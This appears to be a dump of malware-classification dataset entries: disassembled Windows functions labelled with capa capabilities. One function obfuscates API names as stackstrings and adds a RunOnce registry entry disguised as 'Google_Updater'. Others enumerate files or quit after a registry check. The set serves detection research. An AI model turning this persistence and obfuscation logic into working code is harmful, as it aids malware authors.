joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ac0
Capabilities:
Contain obfuscated stackstrings
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x70
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x40], 0x52
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x67
mov byte [ebp - 0x3d], 0x43
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x4b
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x79
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x78
mov byte [ebp - 0x32], 0x41
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x67
mov byte [ebp - 0x2d], 0x53
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x56
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x75
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x45
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push connect
call dword [ebp - 8]
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
push str.Google_Updater
mov edx, dword [ebp - 0xc]
push edx
call dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x401cb0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a50
call fcn.00402330
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push str._s.
push 0x1000
lea ecx, [ebp - 0x1a50]
push ecx
call fcn.00402140
add esp, 0x10
lea edx, [ebp - 0x258]
push edx
lea eax, [ebp - 0x1a50]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401d06
or eax, 0xffffffff
jmp 0x401e09
push 0x403648
lea ecx, [ebp - 0x22c]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
add esp, 8
test eax, eax
je 0x401dda
push 0x40364c
lea edx, [ebp - 0x22c]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
add esp, 8
test eax, eax
je 0x401dda
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s
push 0x1000
lea edx, [ebp - 0x1a50]
push edx
call fcn.00402140
add esp, 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x1a50]
push ecx
lea edx, [ebp - 0xa50]
push edx
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
add esp, 0xc
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0xa50], 0
mov ecx, dword [ebp - 0x258]
and ecx, 0x10
je 0x401dba
lea edx, [ebp - 0xa50]
push edx
mov eax, dword [ebp + 0xc]
push eax
push str._s_d__s_n
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402090
add esp, 0x14
jmp 0x401dda
lea eax, [ebp - 0xa50]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push str._s_f__s_n
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402090
add esp, 0x14
lea ecx, [ebp - 0x258]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401d06
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0xc]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x401ee0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4e2c
call fcn.00402330
push 0x4e20
push 0
lea eax, [ebp - 0x4e2c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push 0x403828
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x401f51
push 0x4e1f
lea edx, [ebp - 0x4e2c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00401cb0
add esp, 0xc
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x4e2c]
push ecx
push str._nHDC:_n_s
mov edx, dword [ebp + 8]
push edx
call fcn.00401580
add esp, 0xc
mov dword [ebp - 4], eax
jmp 0x401f65
push str.Cannot_get_HDC_n
mov eax, dword [ebp + 8]
push eax
call fcn.00401580
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402180
Capabilities:
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x403680
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4021e8
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0x4036b8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4021de
push 0x30
push str.Yikes_
push str.When_life_gives_you_lemons__make_lemonade.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 8]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoft
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402267
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.GDIPlus
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402267
mov dword [ebp - 0xc], 0x20230217
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x403758
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402267
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40226f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x642c528e
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x214]
push esi
push eax
mov ebx, edx
mov edi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c52ec
test byte [eax + 0x1c], 2
je 0x642c52ec
cmp byte [eax + 0x19], 5
jb 0x642c52ec
push dword [eax + 0x14]
mov edx, 0x642c18f0
push dword [eax + 0x10]
push 0xa
pop ecx
call fcn.642c1faa
lea eax, [ebp - 0x214]
push eax
push esi
push esi
push edi
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test edi, edi
jns 0x642c533b
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c532f
test byte [eax + 0x1c], 2
je 0x642c532f
cmp byte [eax + 0x19], 2
jb 0x642c532f
push edi
push dword [eax + 0x14]
mov edx, 0x642c18f0
push dword [eax + 0x10]
push 0xb
pop ecx
call fcn.642c1fc8
movzx eax, di
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x642c5385
lea eax, [ebp - 0x214]
mov edx, 0x105
push eax
mov ecx, ebx
call fcn.642c1e50
mov edi, eax
test edi, edi
jns 0x642c5382
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x642c532f
test byte [ecx + 0x1c], 2
je 0x642c532f
cmp byte [ecx + 0x19], 2
jb 0x642c532f
movzx eax, di
push eax
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0xc
pop ecx
call fcn.642c5193
jmp 0x642c532f
xor esi, esi
inc esi
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7760
leave
ret 4
Function at 0x642c5398
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x20a
lea eax, [ebp - 0x630]
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push edi
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x420]
push 0x208
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x63c], edi
test esi, esi
je 0x642c5589
push 1
xor eax, eax
mov ecx, 0x80000001
push 1
mov word [esi], ax
call fcn.642c6ac4
mov edi, eax
test edi, edi
je 0x642c5589
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x634]
push eax
push ebx
push 0x642c16b8
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x642c545a
cmp ebx, 2
jne 0x642c5589
mov edi, 0x642c16e0
jmp 0x642c54cb
cmp dword [ebp - 0x634], 1
je 0x642c5470
cmp dword [ebp - 0x634], 2
jne 0x642c5589
and dword [ebp - 0x638], 0
lea eax, [ebp - 0x638]
mov ebx, 0x105
lea ecx, [ebp - 0x218]
push eax
mov edx, ebx
call fcn.642c5152
test eax, eax
jns 0x642c5498
xor ecx, ecx
jmp 0x642c549e
mov ecx, dword [ebp - 0x638]
lea edi, [ebp - 0x218]
test eax, eax
js 0x642c54cb
push 0x5c
pop eax
cmp word [ebp + ecx*2 - 0x21a], ax
je 0x642c54cb
push 0x642c11cc
mov edx, ebx
mov ecx, edi
call fcn.642c1e85
test eax, eax
js 0x642c557f
push ecx
push 5
lea edx, [ebp - 0x630]
pop ecx
call fcn.642c528e
test eax, eax
jne 0x642c54f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x642c1714
call fcn.642c6785
pop ecx
pop ecx
jmp 0x642c5589
lea eax, [ebp - 0x630]
mov ebx, 0x104
push eax
mov edx, ebx
mov ecx, esi
call fcn.642c1e50
test eax, eax
js 0x642c557f
push 0x5c
pop eax
cmp word [edi], ax
je 0x642c5529
push 0x642c11cc
mov edx, ebx
mov ecx, esi
call fcn.642c1e85
test eax, eax
js 0x642c557f
push edi
mov edx, ebx
mov ecx, esi
call fcn.642c1e85
test eax, eax
js 0x642c557f
lea eax, [ebp - 0x420]
push eax
push 0x642c1750
push 0
push 0
push 0x8005
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathAndSubDirW]
test eax, eax
js 0x642c557f
push 0x93d
push 0x642c1788
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHELL32.dll_SHSetLocalizedName]
test eax, eax
js 0x642c557f
mov ecx, esi
call fcn.642c60fc
xor eax, eax
inc eax
jmp 0x642c558b
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7760
leave
ret
Function at 0x642c63bc
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebx
push esi
push edi
mov ebx, ecx
mov eax, dword [section..data]
mov edi, section..data
mov esi, 0x642c1914
cmp eax, edi
je 0x642c63f2
test byte [eax + 0x1c], 2
je 0x642c63f2
cmp byte [eax + 0x19], 5
jb 0x642c63f2
push dword [eax + 0x14]
mov edx, esi
push dword [eax + 0x10]
push 0x17
pop ecx
call fcn.642c1faa
push 0x25
push ebx
call dword [sym.imp.msvcrt.dll_wcschr]
pop ecx
pop ecx
test eax, eax
jne 0x642c6440
mov ecx, ebx
call fcn.642c6050
test eax, eax
jne 0x642c6520
mov eax, dword [section..data]
cmp eax, edi
je 0x642c651e
test byte [eax + 0x1c], 2
je 0x642c651e
cmp byte [eax + 0x19], 2
jb 0x642c651e
push dword [eax + 0x14]
mov edx, esi
push dword [eax + 0x10]
push 0x18
jmp 0x642c64c6
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x642c6492
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [section..data]
cmp ecx, edi
je 0x642c651e
test byte [ecx + 0x1c], 2
je 0x642c651e
cmp byte [ecx + 0x19], 2
jb 0x642c651e
push eax
push dword [ecx + 0x14]
mov edx, 0x642c1914
push dword [ecx + 0x10]
push 0x19
pop ecx
call fcn.642c1fc8
jmp 0x642c651e
inc esi
lea ecx, [esi + esi]
call fcn.642c4f15
mov edi, eax
test edi, edi
jne 0x642c64ce
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c651e
test byte [eax + 0x1c], 2
je 0x642c651e
cmp byte [eax + 0x19], 2
jb 0x642c651e
push dword [eax + 0x14]
mov edx, 0x642c1914
push dword [eax + 0x10]
push 0x1a
pop ecx
call fcn.642c1faa
jmp 0x642c651e
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x642c64e3
cmp eax, esi
ja 0x642c64e3
mov eax, edi
jmp 0x642c6520
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x642c6517
test byte [ecx + 0x1c], 2
je 0x642c6517
cmp byte [ecx + 0x19], 2
jb 0x642c6517
push eax
push dword [ecx + 0x14]
mov edx, 0x642c1914
push dword [ecx + 0x10]
push 0x1b
pop ecx
call fcn.642c1fc8
mov ecx, edi
call fcn.642c4f7b
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x642c6524
Capabilities:
Get hostname

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x28], 0x10
mov eax, dword [section..data]
mov ebx, section..data
cmp eax, ebx
je 0x642c656f
test byte [eax + 0x1c], 2
je 0x642c656f
cmp byte [eax + 0x19], 5
jb 0x642c656f
push dword [eax + 0x14]
mov edx, 0x642c1914
push dword [eax + 0x10]
push 0x27
pop ecx
call fcn.642c1faa
test esi, esi
je 0x642c6624
mov ecx, esi
xor edx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, dx
jne 0x642c657e
sub ecx, edi
sar ecx, 1
je 0x642c6624
mov ecx, esi
mov eax, 0x642c1910
mov di, word [eax]
cmp di, word [ecx]
jne 0x642c65be
test di, di
je 0x642c65c3
mov di, word [eax + 2]
cmp di, word [ecx + 2]
jne 0x642c65be
add eax, 4
add ecx, 4
test di, di
jne 0x642c659a
jmp 0x642c65c3
sbb edx, edx
or edx, 1
test edx, edx
je 0x642c6624
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x642c660f
mov eax, dword [section..data]
cmp eax, ebx
je 0x642c6620
test byte [eax + 0x1c], 2
je 0x642c6620
cmp byte [eax + 0x19], 2
jb 0x642c6620
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [section..data]
mov edx, 0x642c1914
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x28
pop ecx
call fcn.642c1fc8
jmp 0x642c6620
lea eax, [ebp - 0x24]
push esi
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x642c6624
xor eax, eax
jmp 0x642c6627
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7760
leave
ret

Function at 0x642c6636
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 8
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetUserPreferredUILanguages]
test eax, eax
jne 0x642c666d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x642c66bc
mov eax, dword [ebp - 4]
push ebx
push 2
pop ebx
test eax, eax
je 0x642c668c
xor ecx, ecx
mul ebx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.642c7bfe
pop ecx
mov esi, eax
test esi, esi
je 0x642c66bb
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetUserPreferredUILanguages]
test eax, eax
je 0x642c66bb
cmp word [esi], di
je 0x642c66bb
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x20000070
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
pop ebx
cmp dword [ebp - 0xc], 1
jne 0x642c66c5
xor edi, edi
inc edi
test esi, esi
je 0x642c66d0
push esi
call fcn.642c7bf9
pop ecx
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x642c6785
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x800
lea eax, [ebp - 0x804]
push edi
xor esi, esi
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [0x642c8388], esi
jne 0x642c67d2
call fcn.642d1d0e
mov dword [0x642c8010], eax
mov dword [0x642c8388], 1
jmp 0x642c67d7
mov eax, dword [0x642c8010]
test eax, eax
jle 0x642c6856
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x804]
call fcn.642c66d6
test eax, eax
js 0x642c6856
lea ecx, [ebp - 0x804]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x642c67fa
sub ecx, edx
mov eax, 0x3fd
sar ecx, 1
cmp ecx, eax
jb 0x642c6814
mov ecx, eax
push 0xa
pop edx
cmp word [ebp + ecx*2 - 0x806], dx
je 0x642c6849
push 0xd
pop eax
mov word [ebp + ecx*2 - 0x804], ax
mov word [ebp + ecx*2 - 0x802], dx
lea ecx, [ecx*2 + 4]
cmp ecx, edi
jae 0x642c6864
xor eax, eax
mov word [ebp + ecx - 0x804], ax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.642c7760
leave
ret
call fcn.642c78a8
int3
Function at 0x642c686a
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x118
lea eax, [ebp - 0x124]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [section..data]
mov esi, section..data
mov edi, 0x642c1964
push 2
pop ebx
cmp eax, esi
je 0x642c68c9
test byte [eax + 0x1c], bl
je 0x642c68c9
cmp byte [eax + 0x19], 5
jb 0x642c68c9
push dword [eax + 0x14]
mov edx, edi
push dword [eax + 0x10]
push 0xa
pop ecx
call fcn.642c1faa
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x642c6915
mov eax, dword [section..data]
cmp eax, esi
je 0x642c6968
test byte [eax + 0x1c], bl
je 0x642c6968
cmp byte [eax + 0x19], bl
jb 0x642c6968
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [section..data]
mov edx, edi
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xc
pop ecx
call fcn.642c1fc8
jmp 0x642c6968
cmp dword [ebp - 0x118], ebx
je 0x642c693b
mov eax, dword [section..data]
cmp eax, esi
je 0x642c6968
test byte [eax + 0x1c], bl
je 0x642c6968
cmp byte [eax + 0x19], 3
jb 0x642c6968
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xd
jmp 0x642c6960
cmp dword [ebp - 0x124], 5
jae 0x642c696c
mov eax, dword [section..data]
cmp eax, esi
je 0x642c6968
test byte [eax + 0x1c], bl
je 0x642c6968
cmp byte [eax + 0x19], 3
jb 0x642c6968
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xe
mov edx, edi
pop ecx
call fcn.642c1faa
xor eax, eax
jmp 0x642c69c7
mov eax, dword [ebp - 0x10]
test al, 0x40
je 0x642c6985
xor eax, eax
cmp byte [ebp - 0xe], 1
setne al
dec eax
and eax, 0xffffffe0
add eax, 0x40
jmp 0x642c69c7
test eax, 0x200
je 0x642c6991
xor eax, eax
inc eax
jmp 0x642c69c7
test bl, al
je 0x642c6999
push 8
jmp 0x642c69c6
test al, al
jns 0x642c69a1
push 0x10
jmp 0x642c69c6
test eax, 0x400
je 0x642c69af
mov eax, 0x80
jmp 0x642c69c7
mov cl, byte [ebp - 0xe]
cmp cl, 1
jne 0x642c69bb
mov eax, ebx
jmp 0x642c69c7
cmp cl, 3
je 0x642c69c4
cmp cl, bl
jne 0x642c6968
push 4
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7760
leave
ret
Function at 0x642c6b55
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
lea eax, [ebp - 8]
mov ebx, ecx
push eax
push esi
push 0x642c1808
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x642c6b97
cmp eax, 2
jne 0x642c6b85
push eax
jmp 0x642c6baa
push eax
push 0x642c1a40
call fcn.642c6785
pop ecx
pop ecx
jmp 0x642c6c39
cmp dword [ebp - 8], 1
jne 0x642c6c76
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x642c6bae
push 0x20
pop ecx
mov dword [ebp - 4], ecx
mov edi, ecx
and edi, 1
add edi, ecx
lea ecx, [edi + 2]
call fcn.642c4f15
mov esi, eax
test esi, esi
je 0x642c6c39
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push 0x642c1808
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ecx, ecx
mov word [edi + esi], cx
test byte [ebp - 4], 1
je 0x642c6bea
mov byte [edi + esi - 1], cl
test eax, eax
je 0x642c6c7f
cmp eax, 2
jne 0x642c6b85
push ecx
lea edx, [edi + 2]
mov ecx, esi
call fcn.642c4fa7
test eax, eax
jns 0x642c6c11
push eax
push 0x642c1a80
jmp 0x642c6b8b
push dword [ebp - 4]
mov edi, 0x642c1808
push esi
push 1
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x642c6c7f
push eax
push edi
push 0x642c1ac0
call fcn.642c6785
add esp, 0xc
mov ecx, esi
call fcn.642c4f7b
push 2
pop eax
mov ecx, eax
mov dword [ebp - 4], eax
call fcn.642c4f15
mov esi, eax
test esi, esi
je 0x642c6c76
mov edx, dword [ebp - 4]
push ecx
mov ecx, esi
call fcn.642c4fa7
test eax, eax
jns 0x642c6c7f
push eax
push 0x642c1b04
call fcn.642c6785
pop ecx
pop ecx
mov ecx, esi
call fcn.642c4f7b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
mov eax, esi
jmp 0x642c6c78
Function at 0x642c6c83
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], 4
push edi
mov edi, ecx
mov dword [ebp - 8], esi
mov eax, dword [section..data]
push 2
pop ebx
cmp eax, section..data
je 0x642c6cc8
test byte [eax + 0x1c], bl
je 0x642c6cc8
cmp byte [eax + 0x19], 5
jb 0x642c6cc8
push dword [eax + 0x14]
mov edx, 0x642c1b44
push dword [eax + 0x10]
push 0xe
pop ecx
call fcn.642c1faa
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0x642c193c
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x642c6d13
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x642c6d92
test byte [ecx + 0x1c], bl
je 0x642c6d92
cmp byte [ecx + 0x19], bl
jb 0x642c6d92
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0xf
jmp 0x642c6d87
cmp dword [ebp - 4], 4
je 0x642c6d49
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c6d42
test byte [eax + 0x1c], bl
je 0x642c6d42
cmp byte [eax + 0x19], bl
jb 0x642c6d42
push dword [eax + 0x14]
mov edx, 0x642c1b44
push dword [eax + 0x10]
push 0x10
pop ecx
call fcn.642c1faa
mov esi, 0x3f1
jmp 0x642c6d92
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0
push 0x642c193c
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x642c6d92
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c6d92
test byte [eax + 0x1c], bl
je 0x642c6d92
cmp byte [eax + 0x19], bl
jb 0x642c6d92
push esi
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x11
mov edx, 0x642c1b44
pop ecx
call fcn.642c1fc8
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x642c6d9b
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov eax, dword [section..data]
mov esi, section..data
mov edi, 0x642c1b54
cmp eax, esi
je 0x642c6de1
test byte [eax + 0x1c], 2
je 0x642c6de1
cmp byte [eax + 0x19], 5
jb 0x642c6de1
push dword [eax + 0x14]
mov edx, edi
push dword [eax + 0x10]
push 0xf
pop ecx
call fcn.642c1faa
push 0x110
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x120], 0x114
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x642c6e47
mov eax, dword [section..data]
cmp eax, esi
je 0x642c6e43
test byte [eax + 0x1c], 2
je 0x642c6e43
cmp byte [eax + 0x19], 2
jb 0x642c6e43
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [section..data]
mov edx, edi
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x10
pop ecx
call fcn.642c1fc8
xor eax, eax
jmp 0x642c6e51
cmp dword [ebp - 0x11c], 6
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.642c7760
leave
ret